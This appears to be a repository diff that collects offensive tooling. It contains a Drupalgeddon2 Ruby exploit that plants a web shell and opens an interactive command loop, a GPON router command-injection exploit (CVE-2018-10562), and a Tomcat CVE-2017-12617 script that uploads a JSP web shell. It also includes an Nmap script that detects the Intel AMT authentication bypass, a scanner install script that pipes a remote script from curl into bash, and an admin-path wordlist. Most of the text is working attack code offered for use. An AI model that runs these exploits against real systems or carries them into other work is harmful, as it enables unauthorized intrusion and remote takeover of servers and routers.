||||
|
||||
# Method #2 - Drupal 8, timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!)
|
||||
#url = $target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
|
||||
#payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil
|
||||
elsif $drupalverion.start_with?("7")
|
||||
# Method #3 - Drupal 7, name, #post_render - response is 200
|
||||
url = $target + "?q=user/password&name[%23post_render][]=" + phpfunction + "&name[%23type]=markup&name[%23markup]=" + evil
|
||||
payload = "form_id=user_pass&_triggering_element_name=name"
|
||||
else
|
||||
puts "[!] Unsupported Drupal version"
|
||||
exit
|
||||
end
|
||||
|
||||
# Drupal v7.x needs an extra value from a form
|
||||
if $drupalverion.start_with?("7")
|
||||
response = http_request(url, "post", payload)
|
||||
|
||||
form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).to_s.strip
|
||||
puts "[!] WARNING: Didn't detect form_build_id" if form_build_id.empty?
|
||||
|
||||
url = $target + "?q=file/ajax/name/%23value/" + form_build_id
|
||||
payload = "form_build_id=" + form_build_id
|
||||
end
|
||||
|
||||
return url, payload
|
||||
end
|
||||
|
||||
|
||||
# Function clean_result <input>
|
||||
def clean_result(input)
|
||||
#result = JSON.pretty_generate(JSON[response.body])
|
||||
#result = $drupalverion.start_with?("8")? JSON.parse(input)[0]["data"] : input
|
||||
result = input
|
||||
#result.slice!(/^\[{"command":".*}\]$/)
|
||||
result.slice!(/\[{"command":".*}\]$/)
|
||||
return result
|
||||
end
|
||||
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
# Quick how to use
|
||||
if ARGV.empty?
|
||||
puts "Usage: ruby drupalggedon2.rb <target>"
|
||||
puts " ruby drupalgeddon2.rb https://example.com"
|
||||
exit
|
||||
end
|
||||
# Read in values
|
||||
$target = ARGV[0]
|
||||
|
||||
|
||||
# Check input for protocol
|
||||
if not $target.start_with?("http")
|
||||
$target = "http://#{$target}"
|
||||
end
|
||||
# Check input for the end
|
||||
if not $target.end_with?("/")
|
||||
$target += "/"
|
||||
end
|
||||
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
# Banner
|
||||
puts "[*] --==[::#Drupalggedon2::]==--"
|
||||
puts "-"*80
|
||||
puts "[i] Target : #{$target}"
|
||||
puts "[i] Proxy : #{proxy_addr}:#{proxy_port}" if not proxy_addr.nil?
|
||||
puts "[i] Write? : Skipping writing web shell" if not writeshell
|
||||
puts "-"*80
|
||||
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
# Setup connection
|
||||
uri = URI($target)
|
||||
$http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port)
|
||||
|
||||
|
||||
# Use SSL/TLS if needed
|
||||
if uri.scheme == "https"
|
||||
$http.use_ssl = true
|
||||
$http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
end
|
||||
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
# Try and get version
|
||||
$drupalverion = nil
|
||||
# Possible URLs
|
||||
url = [
|
||||
# Drupal 6 / 7 / 8
|
||||
$target + "CHANGELOG.txt",
|
||||
$target + "core/CHANGELOG.txt",
|
||||
# Drupal 6+7 / 8
|
||||
$target + "includes/bootstrap.inc",
|
||||
$target + "core/includes/bootstrap.inc",
|
||||
# Drupal 6 / 7 / 8
|
||||
$target + "includes/database.inc",
|
||||
#$target + "includes/database/database.inc",
|
||||
#$target + "core/includes/database.inc",
|
||||
]
|
||||
# Check all
|
||||
url.each do|uri|
|
||||
# Check response
|
||||
response = http_request(uri, "get")
|
||||
|
||||
if response.code == "200"
|
||||
puts "[+] Found : #{uri} (HTTP Response: #{response.code})"
|
||||
|
||||
# Patched already?
|
||||
puts "[!] WARNING: Might be patched! Found SA-CORE-2018-002: #{url}" if response.body.include? "SA-CORE-2018-002"
|
||||
|
||||
# Try and get version from the file contents
|
||||
$drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip
|
||||
|
||||
# If not, try and get it from the URL (In theory, these will never trigger/work as they will be HTTP 403)
|
||||
$drupalverion = uri.match(/includes\/database.inc/)? "6.x" : nil if $drupalverion.empty?
|
||||
$drupalverion = uri.match(/core/)? "8.x" : "7.x" if $drupalverion.nil?
|
||||
|
||||
# Done!
|
||||
break
|
||||
elsif response.code == "403"
|
||||
puts "[+] Found : #{uri} (HTTP Response: #{response.code})"
|
||||
|
||||
# Get version from URL
|
||||
$drupalverion = uri.match(/includes\/database.inc/)? "6.x" : nil
|
||||
$drupalverion = uri.match(/core/)? "8.x" : "7.x" if $drupalverion.nil?
|
||||
else
|
||||
puts "[!] MISSING: #{uri} (HTTP Response: #{response.code})"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Feedback
|
||||
if $drupalverion
|
||||
status = $drupalverion.end_with?("x")? "?" : "!"
|
||||
puts "[+] Drupal#{status}: v#{$drupalverion}"
|
||||
else
|
||||
puts "[!] Didn't detect Drupal version"
|
||||
exit
|
||||
end
|
||||
if not $drupalverion.start_with?("8") and not $drupalverion.start_with?("7")
|
||||
puts "[!] Unsupported Drupal version"
|
||||
exit
|
||||
end
|
||||
puts "-"*80
|
||||
|
||||
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
|
||||
# Make a request, testing code execution
|
||||
puts "[*] Testing: Code Execution"
|
||||
# Generate a random string to see if we can echo it
|
||||
random = (0...8).map { (65 + rand(26)).chr }.join
|
||||
url, payload = gen_evil_url("echo #{random}")
|
||||
response = http_request(url, "post", payload)
|
||||
if response.code == "200" and not response.body.empty?
|
||||
result = clean_result(response.body)
|
||||
if not result.empty?
|
||||
puts "[+] Result : #{result}"
|
||||
|
||||
puts response.body.match(/#{random}/)? "[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!" : "[!] WARNING: Target might to be exploitable [1]... Detected output, but didn't match expected result"
|
||||
else
|
||||
puts "[!] WARNING: Target might to be exploitable [2]... Didn't detect any output (disabled PHP function?)"
|
||||
end
|
||||
else
|
||||
puts "[!] Target is NOT exploitable ~ HTTP Response: #{response.code}"
|
||||
exit
|
||||
end
|
||||
puts "-"*80
|
||||
|
||||
|
||||
# Location of web shell & used to signal if using PHP shell
|
||||
webshellpath = nil
|
||||
prompt = "drupalgeddon2"
|
||||
# Possibles paths to try
|
||||
paths = [
|
||||
# Web root
|
||||
"",
|
||||
# Required for setup
|
||||
"sites/default/",
|
||||
"sites/default/files/",
|
||||
# They did something "wrong", chmod -R 0777 .
|
||||
#"core/",
|
||||
]
|
||||
# Check all (if doing web shell)
|
||||
paths.each do|path|
|
||||
folder = path.empty? ? "./" : path
|
||||
puts "[*] Testing: Writing To Web Root (#{folder})"
|
||||
|
||||
# Merge locations
|
||||
webshellpath = "#{path}#{webshell}"
|
||||
|
||||
# Final command to execute
|
||||
cmd = "#{bashcmd} | tee #{webshellpath}"
|
||||
|
||||
|
||||
# By default, Drupal v7.x disables the PHP engine entirely in: ./sites/default/files/.htaccess
|
||||
# ...however Drupal v8.x disables the PHP engine using: ./.htaccess
|
||||
if path == "sites/default/files/"
|
||||
puts "[i] Moving : ./sites/default/files/.htaccess"
|
||||
cmd = "mv -f #{path}.htaccess #{path}.htaccess-bak; #{cmd}"
|
||||
end
|
||||
|
||||
# Generate evil URLs
|
||||
url, payload = gen_evil_url(cmd)
|
||||
# Make the request
|
||||
response = http_request(url, "post", payload)
|
||||
# Check result
|
||||
if response.code == "200" and not response.body.empty?
|
||||
# Feedback
|
||||
result = clean_result(response.body)
|
||||
puts "[+] Result : #{result}" if not response.body.empty?
|
||||
|
||||
# Test to see if backdoor is there (if we managed to write it)
|
||||
response = http_request("#{$target}#{webshellpath}", "post", "c=hostname")
|
||||
if response.code == "200" and not response.body.empty?
|
||||
puts "[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!"
|
||||
break
|
||||
elsif response.code == "403"
|
||||
puts "[!] Target is NOT exploitable for some reason [1] (HTTP Response: #{response.code})... May not be able to execute PHP from here?"
|
||||
elsif response.code == "404"
|
||||
puts "[!] Target is NOT exploitable for some reason [2] (HTTP Response: #{response.code})... Might not have write access?"
|
||||
elsif response.body.empty?
|
||||
puts "[!] Target is NOT exploitable for some reason [3] (HTTP Response: #{response.code})... Got an empty response back"
|
||||
else
|
||||
puts "[!] Target is NOT exploitable for some reason [4] (HTTP Response: #{response.code})"
|
||||
end
|
||||
elsif response.code == "403"
|
||||
puts "[!] Target is NOT exploitable for some reason [5] (HTTP Response: #{response.code})... May not be able to execute PHP from here?"
|
||||
elsif response.code == "404"
|
||||
puts "[!] Target is NOT exploitable for some reason [6] (HTTP Response: #{response.code})... Might not have write access?"
|
||||
elsif response.body.empty?
|
||||
puts "[!] Target is NOT exploitable for some reason [7] (HTTP Response: #{response.code}))... Got an empty response back"
|
||||
else
|
||||
puts "[!] Target is NOT exploitable for some reason [8] (HTTP Response: #{response.code})"
|
||||
end
|
||||
webshellpath = nil
|
||||
|
||||
puts "- "*40 if path != paths.last
|
||||
end if writeshell
|
||||
|
||||
# If a web path was set, we exploited using PHP!
|
||||
if webshellpath
|
||||
# Get hostname for the prompt
|
||||
prompt = response.body.to_s.strip
|
||||
|
||||
# Feedback
|
||||
puts "-"*80
|
||||
puts "[i] Fake shell: curl '#{$target}#{webshellpath}' -d 'c=hostname'"
|
||||
# Should we be trying to call commands via PHP?
|
||||
elsif writeshell
|
||||
puts "[!] FAILED: Couldn't find writeable web path"
|
||||
puts "-"*80
|
||||
puts "[*] Dropping back direct commands"
|
||||
end
|
||||
|
||||
|
||||
# Stop any CTRL + C action ;)
|
||||
trap("INT", "SIG_IGN")
|
||||
|
||||
|
||||
# Forever loop
|
||||
loop do
|
||||
# Default value
|
||||
result = "~ERROR~"
|
||||
|
||||
# Get input
|
||||
command = Readline.readline("#{prompt}>> ", true).to_s
|
||||
|
||||
# Exit
|
||||
break if command =~ /exit/
|
||||
|
||||
# Blank link?
|
||||
next if command.empty?
|
||||
|
||||
# If PHP shell
|
||||
if webshellpath
|
||||
# Send request
|
||||
result = http_request("#{$target}#{webshell}", "post", "c=#{command}").body
|
||||
# Direct commands
|
||||
else
|
||||
url, payload = gen_evil_url(command, true)
|
||||
response = http_request(url, "post", payload)
|
||||
|
||||
# Check result
|
||||
if response.code == "200" and not response.body.empty?
|
||||
result = clean_result(response.body)
|
||||
end
|
||||
end
|
||||
|
||||
# Feedback
|
||||
puts result
|
||||
end
|
||||
|
|
@ -0,0 +1,78 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
import sys
|
||||
import requests
|
||||
import time
|
||||
import urllib2
|
||||
import re
|
||||
import ssl
|
||||
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
|
||||
|
||||
def banner():
|
||||
ascii_art = """
|
||||
|
||||
________________________________________________________________
|
||||
|
||||
[*] GPON Remote Code Execution (CVE-2018-10562) [*]
|
||||
________________________________________________________________
|
||||
|
||||
Coded by F3D
|
||||
Twitter: @f3d_0x0
|
||||
Medium: medium.com/@0xf3d
|
||||
________________________________________________________________
|
||||
|
||||
"""
|
||||
print ascii_art
|
||||
|
||||
def retrieve_results(target, command):
|
||||
try:
|
||||
fp = urllib2.urlopen(target + '/diag.html?images/', context=ctx)
|
||||
for line in fp.readlines():
|
||||
if 'diag_result = \"Can\'t resolv hostname for' in line:
|
||||
start = '['
|
||||
end = ';' + command +']'
|
||||
res = str(line[line.find(start)+len(start):line.rfind(end)])
|
||||
return res.replace('\\n', '\n')
|
||||
except Exception as e:
|
||||
print "[DEBUG] " + str(e) + '\n'
|
||||
print "[*] An error occured while retriving the result"
|
||||
|
||||
def send_command(url_bypass, payload):
|
||||
print "[*] Injecting command.."
|
||||
try:
|
||||
req = requests.Request('POST', url_bypass, data=payload)
|
||||
prepared = req.prepare()
|
||||
s = requests.Session()
|
||||
s.send(prepared)
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
banner()
|
||||
# Getting the parameters
|
||||
domain = sys.argv[1]
|
||||
command = sys.argv[2]
|
||||
# Create url and payload
|
||||
url_bypass = domain + '/GponForm/diag_Form?images/'
|
||||
payload = 'XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`' + command + '`;' + command + '&ipv=0'
|
||||
# Injecting the command
|
||||
send_command(url_bypass, payload)
|
||||
print "[*] Waiting for results..zZz.."
|
||||
time.sleep(3)
|
||||
print "[*] Getting the results.."
|
||||
# Retrieve the output
|
||||
out = retrieve_results(domain, command)
|
||||
print ""
|
||||
print out
|
||||
print ""
|
||||
|
||||
except Exception as e:
|
||||
print "[DEBUG] " + str(e) + '\n'
|
||||
print "[ERROR] Usage: python gpon_rce.py TARGET_URL COMMAND"
|
||||
print "[ERROR] e.g. : python gpon_rce.py http://192.168.1.15 \'id\'\n"
|
||||
|
|
@ -0,0 +1,94 @@
|
|||
description = [[
|
||||
Detects if Intel Active Management Technology is vulnerable to the INTEL-SA-00075 authentication bypass
|
||||
vulnerability by attempting to perform digest authentication with a blank response parameter.
|
||||
]]
|
||||
|
||||
local http = require "http"
|
||||
local shortport = require "shortport"
|
||||
local vulns = require "vulns"
|
||||
local stdnse = require "stdnse"
|
||||
|
||||
---
|
||||
-- @usage
|
||||
-- nmap -p 16992 --script http-vuln-INTEL-SA-00075 <target>
|
||||
--
|
||||
-- @output
|
||||
-- PORT STATE SERVICE REASON
|
||||
-- 16992/tcp open amt-soap-http syn-ack
|
||||
-- | http-vuln-INTEL-SA-00075:
|
||||
-- | VULNERABLE:
|
||||
-- | Intel Active Management Technology INTEL-SA-00075 Authentication Bypass
|
||||
-- | State: VULNERABLE
|
||||
-- | IDs: CVE:CVE-2017-5689 BID:98269
|
||||
-- | Risk factor: High CVSSv2: 10.0 (HIGH) (AV:N/AC:L/AU:N/C:C/I:C/A:C)
|
||||
-- | Intel Active Management Technology is vulnerable to an authentication bypass that
|
||||
-- | can be exploited by performing digest authentication and sending a blank response
|
||||
-- | digest parameter.
|
||||
-- |
|
||||
-- | Disclosure date: 2017-05-01
|
||||
-- | References:
|
||||
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5689
|
||||
-- | https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr
|
||||
-- | http://www.securityfocus.com/bid/98269
|
||||
-- | https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf
|
||||
-- | https://www.embedi.com/news/what-you-need-know-about-intel-amt-vulnerability
|
||||
-- |_ https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability
|
||||
|
||||
author = "Andrew Orr"
|
||||
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
|
||||
categories = { "vuln", "auth", "exploit" }
|
||||
|
||||
portrule = shortport.portnumber({623, 664, 16992, 16993, 16994, 16995})
|
||||
|
||||
action = function(host, port)
|
||||
local vuln = {
|
||||
title = "Intel Active Management Technology INTEL-SA-00075 Authentication Bypass",
|
||||
state = vulns.STATE.NOT_VULN,
|
||||
risk_factor = "High",
|
||||
scores = {
|
||||
CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/AU:N/C:C/I:C/A:C)",
|
||||
},
|
||||
description = [[
|
||||
Intel Active Management Technology is vulnerable to an authentication bypass that
|
||||
can be exploited by performing digest authentication and sending a blank response
|
||||
digest parameter.
|
||||
]],
|
||||
IDS = {
|
||||
CVE = "CVE-2017-5689",
|
||||
BID = "98269"
|
||||
},
|
||||
references = {
|
||||
'https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr',
|
||||
'https://www.embedi.com/news/what-you-need-know-about-intel-amt-vulnerability',
|
||||
'https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf',
|
||||
'https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability'
|
||||
},
|
||||
dates = {
|
||||
disclosure = { year = '2017', month = '05', day = '01' }
|
||||
}
|
||||
}
|
||||
|
||||
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
|
||||
local response = http.get(host, port, '/index.htm')
|
||||
|
||||
if response.header['server']:find('Intel(R) Active Management Technology', 1, true) and response.status == 401 then
|
||||
local www_authenticate = http.parse_www_authenticate(response.header['www-authenticate'])
|
||||
auth_header = 'Digest ' ..
|
||||
'username="admin", ' ..
|
||||
'realm="' .. www_authenticate[1]['params']['realm'] .. '", ' ..
|
||||
'nonce="' .. www_authenticate[1]['params']['nonce'] .. '", ' ..
|
||||
'uri="/index.htm", ' ..
|
||||
'cnonce="' .. stdnse.generate_random_string(10) .. '", ' ..
|
||||
'nc=1, ' ..
|
||||
'qop="auth", ' ..
|
||||
'response=""'
|
||||
local opt = { header = { ['Authorization'] = auth_header } }
|
||||
local response2 = http.get(host, port, '/index.htm', opt)
|
||||
if response2.status == 200 then
|
||||
vuln.state = vulns.STATE.VULN
|
||||
end
|
||||
end
|
||||
|
||||
return vuln_report:make_output(vuln)
|
||||
end
|
||||
|
|
@ -0,0 +1,224 @@
|
|||
#!/usr/bin/python
|
||||
import requests
|
||||
import re
|
||||
import signal
|
||||
from optparse import OptionParser
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
class bcolors:
|
||||
HEADER = '\033[95m'
|
||||
OKBLUE = '\033[94m'
|
||||
OKGREEN = '\033[92m'
|
||||
WARNING = '\033[93m'
|
||||
FAIL = '\033[91m'
|
||||
ENDC = '\033[0m'
|
||||
BOLD = '\033[1m'
|
||||
UNDERLINE = '\033[4m'
|
||||
|
||||
|
||||
|
||||
|
||||
banner="""
|
||||
|
||||
|
||||
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
|
||||
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
|
||||
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
|
||||
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
|
||||
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
|
||||
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
|
||||
|
||||
|
||||
|
||||
[@intx0x80]
|
||||
|
||||
"""
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
def signal_handler(signal, frame):
|
||||
|
||||
print ("\033[91m"+"\n[-] Exiting"+"\033[0m")
|
||||
|
||||
exit()
|
||||
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
|
||||
|
||||
|
||||
|
||||
def removetags(tags):
|
||||
remove = re.compile('<.*?>')
|
||||
txt = re.sub(remove, '\n', tags)
|
||||
return txt.replace("\n\n\n","\n")
|
||||
|
||||
|
||||
def getContent(url,f):
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
re=requests.get(str(url)+"/"+str(f), headers=headers,verify=False)
|
||||
return re.content
|
||||
|
||||
def createPayload(url,f):
|
||||
evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>'
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers,verify=False)
|
||||
if req.status_code==201:
|
||||
print "File Created .."
|
||||
|
||||
|
||||
def RCE(url,f):
|
||||
EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
|
||||
<INPUT name='cmd' type=text>
|
||||
<INPUT type=submit value='Run'>
|
||||
</FORM>
|
||||
<%@ page import="java.io.*" %>
|
||||
<%
|
||||
String cmd = request.getParameter("cmd");
|
||||
String output = "";
|
||||
if(cmd != null) {
|
||||
String s = null;
|
||||
try {
|
||||
Process p = Runtime.getRuntime().exec(cmd,null,null);
|
||||
BufferedReader sI = new BufferedReader(new
|
||||
InputStreamReader(p.getInputStream()));
|
||||
while((s = sI.readLine()) != null) { output += s+"</br>"; }
|
||||
} catch(IOException e) { e.printStackTrace(); }
|
||||
}
|
||||
%>
|
||||
<pre><%=output %></pre>"""
|
||||
|
||||
|
||||
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
req=requests.put(str(url)+f+"/",data=EVIL, headers=headers,verify=False)
|
||||
|
||||
|
||||
|
||||
def shell(url,f):
|
||||
|
||||
while True:
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
cmd=raw_input("$ ")
|
||||
payload={'cmd':cmd}
|
||||
if cmd=="q" or cmd=="Q":
|
||||
break
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers,verify=False)
|
||||
re=str(re.content)
|
||||
t=removetags(re)
|
||||
print t
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#print bcolors.HEADER+ banner+bcolors.ENDC
|
||||
|
||||
parse=OptionParser(
|
||||
|
||||
|
||||
bcolors.HEADER+"""
|
||||
|
||||
|
||||
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
|
||||
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
|
||||
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
|
||||
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
|
||||
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
|
||||
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
|
||||
|
||||
|
||||
|
||||
|
||||
./cve-2017-12617.py [options]
|
||||
|
||||
options:
|
||||
|
||||
-u ,--url [::] check target url if it's vulnerable
|
||||
-p,--pwn [::] generate webshell and upload it
|
||||
-l,--list [::] hosts list
|
||||
|
||||
[+]usage:
|
||||
|
||||
./cve-2017-12617.py -u http://127.0.0.1
|
||||
./cve-2017-12617.py --url http://127.0.0.1
|
||||
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
|
||||
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
|
||||
./cve-2017-12617.py -l hotsts.txt
|
||||
./cve-2017-12617.py --list hosts.txt
|
||||
|
||||
|
||||
[@intx0x80]
|
||||
|
||||
"""+bcolors.ENDC
|
||||
|
||||
)
|
||||
|
||||
|
||||
parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
|
||||
parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
|
||||
parse.add_option("-l","--list",dest="L",type="string",help="hosts File")
|
||||
|
||||
(opt,args)=parse.parse_args()
|
||||
|
||||
if opt.U==None and opt.P==None and opt.L==None:
|
||||
print(parse.usage)
|
||||
exit(0)
|
||||
|
||||
|
||||
|
||||
else:
|
||||
if opt.U!=None and opt.P==None and opt.L==None:
|
||||
print bcolors.OKGREEN+banner+bcolors.ENDC
|
||||
url=str(opt.U)
|
||||
checker="Poc.jsp"
|
||||
print bcolors.BOLD +"Poc Filename {}".format(checker)
|
||||
createPayload(str(url)+"/",checker)
|
||||
con=getContent(str(url)+"/",checker)
|
||||
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
||||
print bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC
|
||||
print bcolors.WARNING+url+"/"+checker+bcolors.ENDC
|
||||
|
||||
else:
|
||||
print 'Not Vulnerable to CVE-2017-12617 '
|
||||
elif opt.P!=None and opt.U!=None and opt.L==None:
|
||||
print bcolors.OKGREEN+banner+bcolors.ENDC
|
||||
pwn=str(opt.P)
|
||||
url=str(opt.U)
|
||||
print "Uploading Webshell ....."
|
||||
pwn=pwn+".jsp"
|
||||
RCE(str(url)+"/",pwn)
|
||||
shell(str(url),pwn)
|
||||
elif opt.L!=None and opt.P==None and opt.U==None:
|
||||
print bcolors.OKGREEN+banner+bcolors.ENDC
|
||||
w=str(opt.L)
|
||||
f=open(w,"r")
|
||||
print "Scaning hosts in {}".format(w)
|
||||
checker="Poc.jsp"
|
||||
for i in f.readlines():
|
||||
i=i.strip("\n")
|
||||
createPayload(str(i)+"/",checker)
|
||||
con=getContent(str(i)+"/",checker)
|
||||
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
||||
print str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m"
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -1,7 +1,7 @@
|
|||
#!/bin/bash
|
||||
# Install script for sn1per
|
||||
#
|
||||
# VARS
|
||||
|
||||
OKBLUE='\033[94m'
|
||||
OKRED='\033[91m'
|
||||
OKGREEN='\033[92m'
|
||||
|
|
@ -37,7 +37,7 @@ cp -Rf * $INSTALL_DIR 2> /dev/null
|
|||
cd $INSTALL_DIR
|
||||
|
||||
echo -e "$OKORANGE + -- --=[Installing package dependencies...$RESET"
|
||||
apt-get install nfs-common eyewitness nodejs wafw00f xdg-utils metagoofil clusterd ruby rubygems python dos2unix zenmap sslyze arachni aha libxml2-utils rpcbind uniscan xprobe2 cutycapt unicornscan host whois dirb dnsrecon curl nmap php php-curl hydra iceweasel wpscan sqlmap nbtscan enum4linux cisco-torch metasploit-framework theharvester dnsenum nikto smtp-user-enum whatweb sslscan amap
|
||||
apt-get install nfs-common eyewitness nodejs wafw00f xdg-utils metagoofil clusterd ruby rubygems python dos2unix zenmap sslyze arachni aha libxml2-utils rpcbind uniscan xprobe2 cutycapt host whois dirb dnsrecon curl nmap php php-curl hydra iceweasel wpscan sqlmap nbtscan enum4linux cisco-torch metasploit-framework theharvester dnsenum nikto smtp-user-enum whatweb sslscan amap
|
||||
apt-get install waffit 2> /dev/null
|
||||
pip install dnspython colorama tldextract urllib3 ipaddress requests
|
||||
curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.8/install.sh | bash
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
|
@ -0,0 +1,898 @@
|
|||
a2e2gp2r2x.jsp
|
||||
+CSCOE+/logon.html
|
||||
.access
|
||||
access_log
|
||||
account
|
||||
Account
|
||||
account.html
|
||||
account.nsf
|
||||
account.php
|
||||
accounts
|
||||
accounts.nsf
|
||||
accounts.php
|
||||
accounts.txt
|
||||
actions
|
||||
activity.nsf
|
||||
Addons-Modules.txt
|
||||
.addressbook
|
||||
adm
|
||||
~adm
|
||||
loginuser.php
|
||||
adm_auth.php
|
||||
adm-bin
|
||||
adm.html
|
||||
admin
|
||||
~admin
|
||||
_admin
|
||||
admin
|
||||
admin$
|
||||
Admin
|
||||
ADMIN
|
||||
admin2
|
||||
admin2.php
|
||||
admin
|
||||
admin.html
|
||||
adminarea
|
||||
admin_area
|
||||
admin.asmx
|
||||
AdminCaptureRootCA
|
||||
AdminClients
|
||||
AdminConnections
|
||||
admin-console
|
||||
admincontrol.html
|
||||
admincontrollogin.html
|
||||
admincontrollogin.php
|
||||
admincontrolpanel.html
|
||||
admincontrolpanel.php
|
||||
admincontrol.php
|
||||
admincp
|
||||
admincp.php
|
||||
admin.dat
|
||||
admin.dll
|
||||
AdminEvents
|
||||
admin.exe
|
||||
admin/home.html
|
||||
admin/home.php
|
||||
admin.html
|
||||
admin/index.php
|
||||
administr8
|
||||
administr8.php
|
||||
administratie
|
||||
administrator
|
||||
~administrator
|
||||
administrator.html
|
||||
administratorlogin
|
||||
administrator.php
|
||||
administrators.pwd
|
||||
AdminJDBC
|
||||
AdminLicense
|
||||
adminLogin
|
||||
admin_login.html
|
||||
admin-login.html
|
||||
adminLogin.html
|
||||
admin_login.php
|
||||
admin-login.php
|
||||
adminLogin.php
|
||||
AdminMain
|
||||
admin.mdb
|
||||
admin/mysql2/index.php
|
||||
admin/mysql/index.php
|
||||
admin.pac
|
||||
AdminPanel
|
||||
adminpanel.html
|
||||
adminpanel.php
|
||||
admin.php
|
||||
admin/phpmyadmin2/index.php
|
||||
admin/phpmyadmin/index.php
|
||||
admin/phpMyAdmin/index.php
|
||||
admin/pma/index.php
|
||||
admin/PMA/index.php
|
||||
adminportal
|
||||
AdminProps
|
||||
adminproxy.pac
|
||||
AdminRealm
|
||||
admins
|
||||
admin-serv
|
||||
admins.php
|
||||
AdminThreads
|
||||
AdminVersion
|
||||
loginuser.php
|
||||
adm.php
|
||||
admpw
|
||||
affiliate.php
|
||||
agents
|
||||
a.htaccess
|
||||
~anonymous
|
||||
apache
|
||||
~apache
|
||||
api
|
||||
_app_bin
|
||||
applet
|
||||
applications
|
||||
archive
|
||||
archives
|
||||
auth
|
||||
auth-basic
|
||||
auth-digest
|
||||
authenticatedy
